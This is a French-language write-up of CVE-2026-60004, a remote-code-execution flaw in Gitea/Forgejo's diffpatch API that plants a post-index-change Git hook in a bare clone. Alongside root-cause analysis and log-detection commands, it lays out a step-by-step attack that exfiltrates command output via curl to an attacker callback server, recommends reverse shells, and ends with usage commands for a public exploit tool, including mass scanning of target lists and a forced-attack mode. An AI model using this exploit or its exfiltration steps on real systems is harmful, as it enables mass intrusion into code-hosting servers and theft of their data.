
CVE-2026-60004 — RCE via Git Hook Diffpatch de Gitea/Forgejo. Clone nu → injection de hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 est une vulnérabilité d'exécution de code à distance (RCE) sans authentification, de sévérité critique (CVSS 9.8), dans les plateformes Git auto-hébergées Gitea et Forgejo, affectant les versions 1.17 à 1.27.0.
La vulnérabilité exploite un défaut de conception du clone nu dans le point de terminaison de l'API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea applique les patches fournis par l'utilisateur dans un clone temporaire nu — où la racine du dépôt est $GIT_DIR elle-même. En soumettant deux fois le même patch malveillant, un attaquant déclenche un conflit add/add qui amène le repli de fusion à trois points de Git (-3, Git 2.32+) à écrire un hook post-index-change exécutable directement dans $GIT_DIR/hooks/. Git exécute ce hook automatiquement lors de la mise à jour de l'index, permettant l'exécution arbitraire de commandes sous le compte de service Gitea.
Un accès en écriture au dépôt est requis — trivial à obtenir, car Gitea permet par défaut l'inscription ouverte sans vérification d'e-mail, sans approbation d'administrateur ni limite de création de dépôts.
| Version | Statut |
|---|---|
| < 1.17 | Non affectée (la route diffpatch n'existait pas encore) |
| 1.17 — 1.27.0 | Vulnérable |
| 1.27.1+ | Corrigée |
Découvert par : Shai Rod (NightRang3r), 28 juillet 2026 Projet : Gitea / Forgejo (service Git auto-hébergé) Composant : point de terminaison de l'API diffpatch, clone temporaire nu
La vulnérabilité provient d'un seul paramètre dans services/repository/files/patch.go :
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
Dans un clone nu, il n'existe pas d'arbre de travail — la racine du dépôt est $GIT_DIR. Un patch malveillant dont le chemin de fichier est hooks/post-index-change atterrit donc directement dans le véritable répertoire des hooks de Git, et non dans un arbre de travail cloisonné.
L'invocation git apply aggrave le problème :
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, donc le chemin hooks/post-index-change pointe vers le véritable répertoire des hooks.--cached n'est pas infaillible — le repli de fusion à trois points -3 de Git 2.32+ écrit les résultats fusionnés dans l'arbre de travail lors des conflits add/add, malgré l'option --cached.post-index-change — après la mise à jour de l'index, Git exécute ce hook sans condition s'il existe et s'il est exécutable. Aucune configuration n'est nécessaire.git update-index à l'intérieur du hook provoque un interblocage car git apply détient le verrou de l'index. Utilisez des callbacks HTTP (curl) ou des shells inversés pour exfiltrer la sortie.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
| Fichier | Ligne(s) | Objectif |
|---|---|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — création du clone nu |
services/repository/files/patch.go | 206-209 | git apply avec les options --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — persiste l'état de l'attaquant |
services/repository/files/cherry_pick.go | ~170 | Même schéma de clone nu dans CherryPick (également corrigé) |
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
La différence entre un clone nu et un clone non nu — un seul paramètre booléen — détermine si le chemin d'un patch est une entrée inoffensive de l'arbre de travail ou un hook exécutable qui atterrit directement dans le répertoire interne de Git. Le correctif modifie exactement un caractère dans le diff (true → false), ce qui explique pourquoi le commit a été étiqueté "refactor: git patch apply" sous MISC plutôt que sous SECURITY. L'opération censée être cloisonnée à l'index (--cached) a été silencieusement mise en échec par le mécanisme de fusion à trois points de Git lui-même, et aucune protection supplémentaire n'empêchait la création de fichiers de hook dans le $GIT_DIR du clone nu.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen